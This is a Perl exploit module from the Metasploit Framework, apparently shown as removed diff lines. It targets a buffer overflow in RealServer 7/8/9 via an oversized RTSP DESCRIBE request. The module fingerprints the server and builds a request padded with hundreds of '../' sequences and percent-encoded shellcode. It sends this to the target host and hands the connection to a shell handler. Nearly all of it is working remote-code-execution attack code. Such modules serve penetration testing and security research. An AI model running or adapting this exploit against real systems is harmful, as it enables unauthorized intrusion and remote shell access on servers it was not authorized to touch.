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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::realserver_describe_linux;
- use base 'Msf::Exploit';
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'RealServer Describe Buffer Overflow',
- 'Version' => '$Revision: 1.29 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'linux', 'bsd', 'win32' ],
- 'Priv' => 1,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The RTSP port', 554],
- },
-
- 'Payload' =>
- {
- 'Space' => 2000,
- 'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff :&?.=",
- 'Keys' => ['+findsock'],
-
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a buffer overflow in RealServer 7/8/9 and was based
- on Johnny Cyberpunk's THCrealbad exploit. This code should reliably exploit
- Linux, BSD, and Windows-based servers.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '4468'],
- ['URL', 'http://lists.immunitysec.com/pipermail/dailydave/2003-August/000030.html'],
- ['MIL', '51'],
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' => [['Universal Target']],
-
- 'Keys' => ['realserver'],
-
- 'DisclosureDate' => 'Dec 20 2002',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- $s->Send("OPTIONS / RTSP/1.0\r\n\r\n");
-
- my $res = $s->Recv(-1, 5);
- $s->Close();
-
- if ($res =~ m/^Server:([^\n]+)/sm)
- {
- my $svr = $1;
- $svr =~ s/(^\s+|\r|\s+$)//g;
- $self->PrintLine("[*] $svr");
- return $self->CheckCode('Detected');
- }
- return $self->CheckCode('Safe');
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
-
- $self->PrintLine("[*] RealServer universal exploit launched against $target_host");
- $self->PrintLine("[*] Kill the master rmserver pid to prevent shell disconnect");
-
- my $encoded;
- foreach (split(//, $shellcode)){ $encoded .= sprintf("%%%.2x", ord($_)) }
-
- my $req = "DESCRIBE /". ("../" x 560) . "\xcc\xcc\x90\x90". $encoded. ".smi RTSP/1.0\r\n\r\n";
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($req);
-
- $self->Handler($s);
-
- return;
- }
-
- 1;
-